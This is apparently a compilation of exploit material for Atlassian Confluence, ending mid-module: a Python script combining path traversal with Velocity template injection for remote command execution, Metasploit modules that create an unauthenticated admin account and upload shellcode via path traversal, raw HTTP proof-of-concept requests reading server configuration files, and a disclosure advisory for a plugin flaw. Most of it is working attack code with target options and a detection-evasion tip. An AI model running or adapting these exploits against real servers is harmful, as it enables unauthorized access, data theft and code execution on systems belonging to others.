help="increase output verbosity, two possible levels, no verbosity with default log output and debug verbosity",
action="count",
default=0
)
parser.add_argument(
"-sb", "--skip-banner",
help="skips printing of the banner",
action="store_true",
default=False
)
parser.add_argument(
"-s", "--silent",
help="do not output results of the exploit to standard output",
action="store_true",
default=False
)
parser.add_argument(
"-q", "--quiet",
help="do not output any logs",
action="store_true",
default=False
)
# arguments for input
parser.add_argument(
"-px", "--proxy",
help="proxy that should be used for the request, the same proxy will be used for HTTP and HTTPS"
)
parser.add_argument(
"-t", "--tls",
help="use HTTPS protocol, default behaviour is to use plain HTTP",
action="store_true"
)
parser.add_argument(
"-th", "--target-host",
help="target hostname/domain",
required=True
)
parser.add_argument(
"-p", "--port",
help="port where the target is listening, default ports 80 for HTTP and 443 for HTTPS"
)
# two different sub commands
subparsers = parser.add_subparsers(
title="actions",
description="different behaviours of the script",
help="for detail description of available action options invoke -h for each individual action",
dest="action"
)
# only exploring file system by disclosure of files and directories
parser_file_system = subparsers.add_parser(
"fs",
help="use the exploit to browse local file system on the target endpoint"
)
parser_file_system.add_argument(
"path",
help="target path that should be retrieved from the vulnerable server, can be path to a file or to a directory"
)
parser_file_system.set_defaults(func=exploit_path_traversal)
# using file upload to deploy payload and achieve RCE
parser_rce = subparsers.add_parser(
"rce",
help="use the exploit to upload a template "
)
parser_rce.add_argument(
"-hd", "--home-directory",
help="Confluence home directory on the server"
)
parser_rce.add_argument(
"-c", "--cookie",
help="cookie that should be used for the session, value passed as it is in HTTP request, for example: "
"-c JSESSIONID=ABCDEF123456789ABCDEF123456789AB",
type=check_cookie_format,
required=True
)
parser_rce.add_argument(
"command",
help="target path that should be retrieved from the vulnerable server, can be path to a file or to a directory"
)
parser_rce.set_defaults(func=exploit_rce)
# parsing
arguments = parser.parse_args()
return arguments
class Configuration:
"""
Represents all supported configuration items.
"""
# Parse arguments and set all configuration variables
def __init__(self, script_args):
self.script_arguments = script_args
# setting input arguments
self._proxy = self.script_arguments.proxy
self._target_protocol = "https" if self.script_arguments.tls else "http"
self._target_host = self.script_arguments.target_host
self._target_port = self.script_arguments.port if self.script_arguments.port else \
443 if self.script_arguments.tls else 80
@staticmethod
def get_logger(verbosity):
"""
Prepares logger to output to stdout with appropriate verbosity.
"""
logger = logging.getLogger()
# default logging level
logger.setLevel(logging.DEBUG)
# Definition of logging to console
ch = logging.StreamHandler()
# specific logging level for console
if verbosity == 0:
ch.setLevel(logging.INFO)
elif verbosity > 0:
ch.setLevel(logging.DEBUG)
# formatting
class MyFormatter(logging.Formatter):
default_fmt = logging.Formatter('[?] %(message)s')
info_fmt = logging.Formatter('[+] %(message)s')
error_fmt = logging.Formatter('[-] %(message)s')
warning_fmt = logging.Formatter('[!] %(message)s')
debug_fmt = logging.Formatter('>>> %(message)s')
def format(self, record):
if record.levelno == logging.INFO:
return self.info_fmt.format(record)
elif record.levelno == logging.ERROR:
return self.error_fmt.format(record)
elif record.levelno == logging.WARNING:
return self.warning_fmt.format(record)
elif record.levelno == logging.DEBUG:
return self.debug_fmt.format(record)
else:
return self.default_fmt.format(record)
ch.setFormatter(MyFormatter())
# adding handler
logger.addHandler(ch)
return logger
# Properties
@property
def endpoint(self):
if not self._target_protocol or not self._target_host or not self._target_port:
exit_log(log, "failed to generate endpoint URL")
return f"{self._target_protocol}://{self._target_host}:{self._target_port}"
@property
def remote_path(self):
return self.script_arguments.path
@property
def attachment_dir(self):
home_dir = self.script_arguments.home_directory if self.script_arguments.home_directory else \
Exploit.DEFAULT_CONFLUENCE_INSTALL_DIR
return f"{home_dir}{Exploit.DEFAULT_CONFLUENCE_ATTACHMENT_PATH}"
@property
def rce_command(self):
return self.script_arguments.command
@property
def session_cookie(self):
if not self.script_arguments.cookie:
return None
parts = self.script_arguments.cookie.split("=")
return {
parts[0]: parts[1]
}
@property
def proxies(self):
return {
"http": self._proxy,
"https": self._proxy
}
class Exploit:
"""
This class represents actual exploit towards the target Confluence server.
"""
# used for both path traversal and RCE
DEFAULT_VULNERABLE_ENDPOINT = "/rest/tinymce/1/macro/preview"
# used only for RCE
CREATE_PERSONAL_SPACE_PATH = "/rest/create-dialog/1.0/space-blueprint/create-personal-space"
PERSONAL_SPACE_KEY_PATH = "/index.action"
PERSONAL_SPACE_KEY_REGEX = r"^/spaces/viewspace\.action\?key=(.*?)$"
PERSONAL_SPACE_ID_PATH = "/rest/api/space"
PERSONAL_SPACE_KEY_PARAMETER_NAME = "spaceKey"
HOMEPAGE_REGEX = r"/rest/api/content/([0-9]+)$"
ATL_TOKEN_PATH = "/pages/viewpageattachments.action"
FILE_UPLOAD_PATH = "/pages/doattachfile.action"
# file name has no real significance, file is identified on file system by it's ID
# (change only if you want to avoid detection)
DEFAULT_UPLOADED_FILE_NAME = "payload_{}.vm".format(
''.join(random.choice(string.ascii_lowercase) for i in range(5))
) # the extension .vm is not really needed, remove it if you have problems uploading the template
DEFAULT_CONFLUENCE_INSTALL_DIR = "/var/atlassian/application-data/confluence"
DEFAULT_CONFLUENCE_ATTACHMENT_PATH = "/attachments/ver003"
# using random name for uploaded file so it will always be first version of the file
DEFAULT_FILE_VERSION = "1"
def __init__(self, config):
"""
Runs the exploit towards target_url.
"""
self._config = config
self._target_url = f"{self._config.endpoint}{Exploit.DEFAULT_VULNERABLE_ENDPOINT}"
if self._config.script_arguments.action == "rce":
self._root_url = f"{self._config.endpoint}/"
self._create_personal_space_url = f"{self._config.endpoint}{Exploit.CREATE_PERSONAL_SPACE_PATH}"
self._personal_space_key_url = f"{self._config.endpoint}{Exploit.PERSONAL_SPACE_KEY_PATH}"
# Following data will be dynamically created while exploit is running
self._space_key = None
self._personal_space_id_url = None
self._space_id = None
self._homepage_id = None
self._atl_token_url = None
self._atl_token = None
self._upload_url = None
self._file_id = None
def generate_payload_location(self):
"""
Generates location on file system for uploaded attachment based on Confluence Ver003 scheme.
See more here: https://confluence.atlassian.com/doc/hierarchical-file-system-attachment-storage-704578486.html
"""
if not self._space_id or not self._homepage_id or not self._file_id:
exit_log(log, "cannot generate payload location without space, homepage and file ID")
space_folder_one = str(int(self._space_id[-3:]) % 250)
space_folder_two = str(int(self._space_id[-6:-3]) % 250)
space_folder_three = self._space_id
page_folder_one = str(int(self._homepage_id[-3:]) % 250)
page_folder_two = str(int(self._homepage_id[-6:-3]) % 250)
page_folder_three = self._homepage_id
file_folder = self._file_id
version = Exploit.DEFAULT_FILE_VERSION
payload_location = f"{self._config.attachment_dir}/" \
f"{space_folder_one}/{space_folder_two}/{space_folder_three}/"\
f"{page_folder_one}/{page_folder_two}/{page_folder_three}/" \
f"{file_folder}/{version}"
log.debug(f"generated payload location: {payload_location}")
return payload_location
def path_traversal(self, target_remote_path, decode_output=False):
"""
Uses vulnerability in _template parameter to achieve path traversal.
Args:
target_remote_path (string): path on local file system of the target application
decode_output (bool): set to True if output of the file will be character codes separated by new lines,
used with RCE
"""
post_data = {
"contentId": str(random.randint(1, 10000)),
"macro": {
"body": "",
"name": "widget",
"params": {
"_template": f"file://{target_remote_path}",
"url": "https://www.youtube.com/watch?v=" + ''.join(random.choice(
string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(11))
}
}
}
log.info("sending request towards vulnerable endpoint with payload in '_template' parameter")
response = requests.post(
self._target_url,
headers={
"Content-Type": "application/json; charset=utf-8"
},
json=post_data,
proxies=self._config.proxies,
verify=False,
allow_redirects=False
)
# check if response was proper...
if not response.status_code == 200:
log.debug(f"response code: {response.status_code}")
exit_log(log, "exploit failed")
page_content = response.content
# response is HTML
soup = BeautifulSoup(page_content, features="html.parser")
# if div element with class widget-error is returned, that means the exploit worked but it failed to retrieve
# the requested path
error_element = soup.find_all("div", "widget-error")
if error_element:
log.warning("failed to retrieve target path on the system")
log.warning("target path does not exist or application does not have appropriate permissions to view it")
return ""
else:
# otherwise parse out the actual response (file content or directory listing)
output_element = soup.find_all("div", "wiki-content")
if not output_element:
exit_log(log, "application did not return appropriate HTML element")
if not len(output_element) == 1:
log.warning("application unexpectedly returned multiple HTML elements, using the first one")
output_element = output_element[0]
log.debug("extracting HTML element value and stripping the leading and trailing spaces")
# output = output_element.string.strip()
output = output_element.decode_contents().strip()
if "The macro 'widget' is unknown. It may have been removed from the system." in output:
exit_log(log, "widget seems to be disabled on system, target most likely is not vulnerable")
if not self._config.script_arguments.silent:
if decode_output:
parsed_output = ""
p = re.compile(r"^([0-9]+)")
for line in output.split("\n"):
r = p.match(line)
if r:
parsed_output += chr(int(r.group(1)))
print(parsed_output.strip())
else:
print(output)
return output
def find_personal_space_key(self):
"""
Makes request that will return personal space key in the response.
"""
log.debug("checking if user has personal space")
response = requests.get(
self._root_url,
cookies=self._config.session_cookie,
proxies=self._config.proxies,
verify=False,
)
page_content = response.text
if "Add personal space" in page_content:
log.info(f"user does not have personal space, creating it now...")
response = requests.post(
self._create_personal_space_url,
headers={
"Content-Type": "application/json"
},
cookies=self._config.session_cookie,
proxies=self._config.proxies,
verify=False,
json={
"spaceUserKey": ""
}
)
if not response.status_code == 200:
log.debug(f"response code: {response.status_code}")
exit_log(log, "failed to create personal space")
log.debug(f"personal space created")
response_data = response.json()
self._space_key = response_data.get("key")
else:
log.info("sending request to find personal space key")
response = requests.get(
self._personal_space_key_url,
cookies=self._config.session_cookie,
proxies=self._config.proxies,
verify=False,
allow_redirects=False
)
# check if response was proper...
if not response.status_code == 200:
log.debug(f"response code: {response.status_code}")
exit_log(log, "failed to get personal space key")
page_content = response.content
# response is HTML
soup = BeautifulSoup(page_content, features="html.parser")
personal_space_link_element = soup.find("a", id="view-personal-space-link")
if not personal_space_link_element or not personal_space_link_element.has_attr("href"):
exit_log(log, "failed to find personal space link in the response, does the user have personal space?")
path = personal_space_link_element["href"]
p = re.compile(Exploit.PERSONAL_SPACE_KEY_REGEX)
r = p.match(path)
if r:
self._space_key = r.group(1)
else:
exit_log(log, "failed to find personal space key")
log.debug(f"personal space key: {self._space_key}")
self._personal_space_id_url = f"{self._config.endpoint}{Exploit.PERSONAL_SPACE_ID_PATH}?" \
f"{Exploit.PERSONAL_SPACE_KEY_PARAMETER_NAME}={self._space_key}"
log.debug(f"generated personal space id url: {self._personal_space_id_url}")
def find_personal_space_id_and_homepage_id(self):
"""
Makes request that will return personal space ID and homepage ID in the response.
"""
if self._personal_space_id_url is None:
exit_log(log, f"personal space id url is missing, did you call exploit functions in correct order?")
log.info("sending request to find personal space ID and homepage")
response = requests.get(
self._personal_space_id_url,
cookies=self._config.session_cookie,
proxies=self._config.proxies,
verify=False,
allow_redirects=False
)
# check if response was proper...
if not response.status_code == 200:
log.debug(f"response code: {response.status_code}")
exit_log(log, "failed to get personal space key")
page_content = response.content
# response is JSON
data = json.loads(page_content)
if "results" not in data:
exit_log(log, "failed to find 'result' section in json output")
items = data["results"]
if type(items) is not list or len(items) == 0:
exit_log(log, "no results for personal space id")
personal_space_data = items[0]
if "id" not in personal_space_data:
exit_log(log, "failed to find ID in personal space data")
self._space_id = str(personal_space_data["id"])
log.debug(f"found space id: {self._space_id}")
if "_expandable" not in personal_space_data:
exit_log(log, "failed to find '_expandable' section in personal space data")
personal_space_expandable_data = personal_space_data["_expandable"]
if "homepage" not in personal_space_expandable_data:
exit_log(log, "failed to find homepage in personal space expandable data")
homepage_path = personal_space_expandable_data["homepage"]
p = re.compile(Exploit.HOMEPAGE_REGEX)
r = p.match(homepage_path)
if r:
self._homepage_id = r.group(1)
log.debug(f"found homepage id: {self._homepage_id}")
self._atl_token_url = f"{self._config.endpoint}{Exploit.ATL_TOKEN_PATH}?pageId={self._homepage_id}"
log.debug(f"generated atl token url: {self._atl_token_url}")
self._upload_url = f"{self._config.endpoint}{Exploit.FILE_UPLOAD_PATH}?pageId={self._homepage_id}"
log.debug(f"generated upload url: {self._upload_url}")
else:
exit_log(log, "failed to find homepage id, homepage path has incorrect format")
def get_csrf_token(self):
"""
Makes request to get the current CSRF token for the session.
"""
if self._atl_token_url is None:
exit_log(log, f"atl token url is missing, did you call exploit functions in correct order?")
log.info("sending request to find CSRF token")
response = requests.get(
self._atl_token_url,
cookies=self._config.session_cookie,
proxies=self._config.proxies,
verify=False,
allow_redirects=False
)
# check if response was proper...
if not response.status_code == 200:
log.debug(f"response code: {response.status_code}")
exit_log(log, "failed to get personal space key")
page_content = response.content
# response is HTML
soup = BeautifulSoup(page_content, features="html.parser")
atl_token_element = soup.find("input", {"name": "atl_token"})
if not atl_token_element.has_attr("value"):
exit_log(log, "failed to find value for atl_token")
self._atl_token = atl_token_element["value"]
log.debug(f"found CSRF token: {self._atl_token}")
def upload_template(self):
"""
Makes multipart request to upload the template file to the server.
"""
log.info("uploading template to server")
if not self._atl_token:
exit_log(log, "cannot upload a file without CSRF token")
if self._upload_url is None:
exit_log(log, f"upload url is missing, did you call exploit functions in correct order?")
# Velocity template here executes command and then captures the output. Here the output is generated by printing
# character codes one by one in each line. This can be improved for sure but did not have time to investigate
# why techniques from James Kettle's awesome research paper 'Server-Side Template Injection:RCE for the modern
# webapp' was not working properly. This gets decoded on our python client later.
template = f"""#set( $test = "test" )
#set($ex = $test.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("{self._config.script_arguments.command}"))
#set($exout = $ex.waitFor())
#set($out = $ex.getInputStream())
#foreach($i in [1..$out.available()])
#set($ch = $out.read())
$ch
#end"""
log.debug(f"uploading template payload under name {Exploit.DEFAULT_UPLOADED_FILE_NAME}")
parts = {
"atl_token": (None, self._atl_token),
"file_0": (Exploit.DEFAULT_UPLOADED_FILE_NAME, template),
"confirm": "Attach"
}
response = requests.post(
self._upload_url,
cookies=self._config.session_cookie,
proxies=self._config.proxies,
verify=False,
files=parts
)
# for successful upload first a 302 response needs to happen then 200 page is returned with file ID
if response.status_code == 403:
exit_log(log, "got 403, probably problem with CSRF token")
if not len(response.history) == 1 or not response.history[0].status_code == 302:
exit_log(log, "failed to upload the payload")
page_content = response.content
if "Upload Failed" in str(page_content):
exit_log(log, "failed to upload template")
# response is HTML
soup = BeautifulSoup(page_content, features="html.parser")
file_link_element = soup.find("a", "filename", {"title": Exploit.DEFAULT_UPLOADED_FILE_NAME})
if not file_link_element.has_attr("data-linked-resource-id"):
exit_log(log, "failed to find data-linked-resource-id attribute (file ID) for uploaded file link")
self._file_id = file_link_element["data-linked-resource-id"]
log.debug(f"found file ID: {self._file_id}")
def exploit_path_traversal(config):
"""
This sends one request towards vulnerable server to either get local file content or directory listing.
"""
log.debug("running path traversal exploit")
exploit = Exploit(config)
exploit.path_traversal(config.remote_path)
def exploit_rce(config):
"""This executes multiple steps to gain RCE. Requires a session token.
Steps:
1. find personal space key for the user
2. find personal space ID and homepage ID for the user
3. get CSRF token (generated per session)
4. upload template file with Java code (involves two requests, first one is 302 redirection)
5. use path traversal part of exploit to load and execute local template file
6. profit
"""
log.debug("running RCE exploit")
exploit = Exploit(config)
exploit.find_personal_space_key()
exploit.find_personal_space_id_and_homepage_id()
exploit.get_csrf_token()
exploit.upload_template()
payload_location = exploit.generate_payload_location()
exploit.path_traversal(payload_location, decode_output=True)
if __name__ == "__main__":
# parse arguments and load all configuration items
script_arguments = parse_arguments()
log = Configuration.get_logger(script_arguments.verbosity)
configuration = Configuration(script_arguments)
# printing banner
if not configuration.script_arguments.skip_banner:
print_banner()
if script_arguments.quiet:
log.disabled = True
log.debug("finished parsing CLI arguments")
log.debug("configuration was loaded successfully")
log.debug("starting exploit")
# disabling warning about trusting self sign certificate from python requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# run appropriate function depending on mode
configuration.script_arguments.func(configuration)
log.debug("done!")
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',
'Description' => %q{
This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.
A specially crafted request can be create new admin account without authentication on the target Atlassian server.
},
'Author' => [
'Unknown', # exploited in the wild
'Emir Polat' # metasploit module
],
'References' => [
['CVE', '2023-22515'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']
],
'DisclosureDate' => '2023-10-04',
'DefaultOptions' => {
'RPORT' => 8090
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.action')
)
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe unless res.code == 200
poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/
confluence_version = Rex::Version.new(Regexp.last_match(1))
vprint_status("Detected Confluence version: #{confluence_version}")
if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
end
Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
end
def run
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/server-info.action'),
'vars_get' => {
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
}
)
return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200
print_good('Found server-info.action! Trying to ignore setup.')
created_user = create_admin_user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
}
)
return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user
print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['NEW_USERNAME'],
private_type: :password,
private_data: datastore['NEW_PASSWORD'],
service_name: 'Atlassian Confluence',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")
print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")
end
def create_admin_user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
},
'vars_post' => {
'username' => datastore['NEW_USERNAME'],
'fullName' => 'New Admin',
'email' => datastore['NEW_EMAIL'],
'password' => datastore['NEW_PASSWORD'],
'confirm' => datastore['NEW_PASSWORD'],
'setup-next-button' => 'Next'
}
)
res&.code == 302
end
end
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: AppFusions Doxygen for Atlassian Confluence
Vendor URL: www.appfusions.com
Type: Path Traversal [CWE-22]
Date found: 2016-06-23
Date published: -
CVSSv3 Score: 6.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)
CVE: -
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
AppFusions Doxygen for Atlassian Confluence v1.3.0
older versions may be affected too.
4. INTRODUCTION
===============
With Doxygen in Confluence, you can embed full-structure code documentation:
-Doxygen blueprint in Confluence to allow Doxygen archive imports
-Display documentation from annotated sources such as Java (i.e., JavaDoc),
C++, Objective-C, C#, C, PHP, Python, IDL (Corba, Microsoft, and
UNO/OpenOffice
flavors), Fortran, VHDL, Tcl, D in Confluence.
-Navigation supports code structure (classes, hierarchies, files), element
dependencies, inheritance and collaboration diagrams.
-Search documentation from within Confluence
-Restrict access to who can see/add what
-Doxygen in JIRA also available
(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The application offers the functionality to import zipped Doxygen
documentations via a file upload to make them available within a
Confluence page. However the application does not properly validate the
"tempId" parameter, which represents the directory where the contents of
the uploaded file will be extracted and stored to. This leads to a path
traversal vulnerability when "/../" sequences are used as part of the
"tempId" parameter. Since the contents of the uploaded file are
extracted to the traversed directory, this vulnerability could also lead
to Remote Code Execution.
In DoxygenUploadServlet.java (lines 63-64) the "tempId" parameter is
read as part of a GET request to "/plugins/servlet/doxygen/upload" and
afterwards used in a "getTemporaryDirectory()" call:
String tempId = request.getParameter("tempId");
String destination =
this.doxygenManager.getTemporaryDirectory(tempId).getAbsolutePath();
The "getTemporaryDirectory()" function is defined in
DefaultDoxyGenManager.java (lines 38-41) and constructs a file object
based on the "java.io.tmpdir" variable, the static string
"/doxygen-temp/", the user-supplied "tempId" and a file separator in
between all parts:
public File getTemporaryDirectory(String tempId) {
File file = new File(System.getProperty("java.io.tmpdir") +
File.separator + "doxygen-temp" + File.separator + tempId);
return file;
}
In the subsequent code the uploaded file as represented by the "file"
HTTP POST parameter to "/plugins/servlet/doxygen/upload" is extracted to
the directory which was built using the "file" object.
The following Proof-of-Concept triggers this vulnerability by uploading
a zipped file, which will be extracted to "/home/confluence" by the
application:
POST
/plugins/servlet/doxygen/upload?tempId=/../../../../../../home/confluence
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Length: 966
Content-Type: multipart/form-data;
boundary=---------------------------62841490314755966452122422550
Cookie: doc-sidebar=300px; doxygen_width=256;
JSESSIONID=75A487B49F38A536358C728B1BE5A9E1
Connection: close
-----------------------------62841490314755966452122422550
Content-Disposition: form-data; name="file"; filename="Traversal.zip"
Content-Type: application/zip
[zipped data]
-----------------------------98001232218371736091795669059--
6. RISK
=======
To successfully exploit this vulnerability the attacker must be
authenticated and must have the rights within Atlassian Confluence to
upload Doxygen files (default).
The vulnerability allows remote attackers to upload arbitrary files to
any destination directory writeable by the user of the web server, which
could lead to Remote Code Execution.
7. SOLUTION
===========
Update to AppFusions Doxygen for Atlassian Confluence v1.3.4
8. REPORT TIMELINE (DD/MM/YYYY)
===============================
23/06/2016: Discovery of the vulnerability
23/06/2016: Notified vendor via public security mail address
29/06/2016: No response, sent out another notification w/o details
29/06/2016: Response from vendor who asked for full details
30/06/2016: Sent over preliminary advisory with full details
03/07/2016: No response from vendor, sent out a status request
03/07/2016: Vendor temporarily removes product from website
11/07/2016: Vendor releases v1.3.1 which fixes the issue
20/11/2016: Advisory released
# Exploit Title: Atlassian Confluence 7.12.2 - Pre-Authorization Arbitrary File Read
# Date: 2021-10-05
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: version < 7.4.10 and 7.5.0 ≤ version < 7.12.3
# Tested on: Kali Linux & Windows 10
# CVE : CVE-2021-26085
POC #1 - web.xml
GET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
POC #2 - seraph-config.xml
GET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
POC #3 - pom.properties
GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
POC #4 - pom.xml
GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)",
'Description' => %q{
To use this exploit you should specify the following variables:
USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
Typical ROOTFOLDER locations are:
Windows: Program Files/Atlassian/Confluence/confluence/pages/
Linux: opt/atlassian/confluence/confluence/pages/
Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there.
If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range.
The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server.
Tested on Atlassian v6.15.1. on Linux and Windows.
Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Maxim Guslyaev' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-3398' ],
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ],
[ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398']
],
'Privileged' => false,
'Platform' => %w{ linux win },
'Targets' =>
[
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_JAVA }],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_JAVA }]
],
'DefaultOptions' =>
{
'RPORT' => 8090,
'SSL' => false
},
'DisclosureDate' => 'Nov 9 2019',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']),
OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']),
OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']),
